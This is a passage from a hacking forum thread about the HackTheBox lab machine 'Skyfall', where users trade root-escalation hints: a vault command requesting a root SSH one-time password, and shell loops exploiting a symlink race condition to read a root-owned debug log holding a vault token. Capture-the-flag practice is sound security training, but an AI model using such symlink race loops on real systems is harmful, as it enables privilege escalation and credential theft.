Skyfall - HTB
by paven - Saturday February 3, 2024 at 02:10 PM
(Jun 20, 2024, 09:41 AM)SpiritWolf Wrote: Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"
Reply
(Jul 01, 2024, 05:38 AM)sharknpls Wrote:
(Jun 20, 2024, 09:41 AM)SpiritWolf Wrote: Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.
Reply
(Jul 01, 2024, 02:03 PM)quarantineph2020 Wrote:
(Jul 01, 2024, 05:38 AM)sharknpls Wrote:
(Jun 20, 2024, 09:41 AM)SpiritWolf Wrote: Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.

ho to exploit this symlink race condition
please!
Reply
(Jul 23, 2024, 08:32 PM)xiliobingo Wrote:
(Jul 01, 2024, 02:03 PM)quarantineph2020 Wrote:
(Jul 01, 2024, 05:38 AM)sharknpls Wrote:
(Jun 20, 2024, 09:41 AM)SpiritWolf Wrote: Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.

ho to exploit this symlink race condition
please!


Relevant article here: https://hackmd.io/@bachtam2001/BkZkudoLq

You need to open 3 SSH sessions, then:

# first SSH session - infinitely loop the symlink process for target logfile
while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done 2>/dev/null

# second SSH session - loop to try to access file contents of symlink
while true; do cat /dev/shm/symlink.log; done 2>/dev/null

# third SSH session (may need to do it a few times) - trigger the creation of the logfile
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 4 474 3 hours ago
Last Post: Reminiscing
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 602 92,112 Yesterday, 06:48 PM
Last Post: sabero_exe
  [FREE] CPTS 12 FLAGS pulsebreaker 68 2,012 Yesterday, 09:54 AM
Last Post: VictorPipeau
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 371 93,068 Yesterday, 08:48 AM
Last Post: phannguyenbaouy1
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,647 Yesterday, 05:08 AM
Last Post: popoler

Forum Jump:


 Users browsing this forum: 1 Guest(s)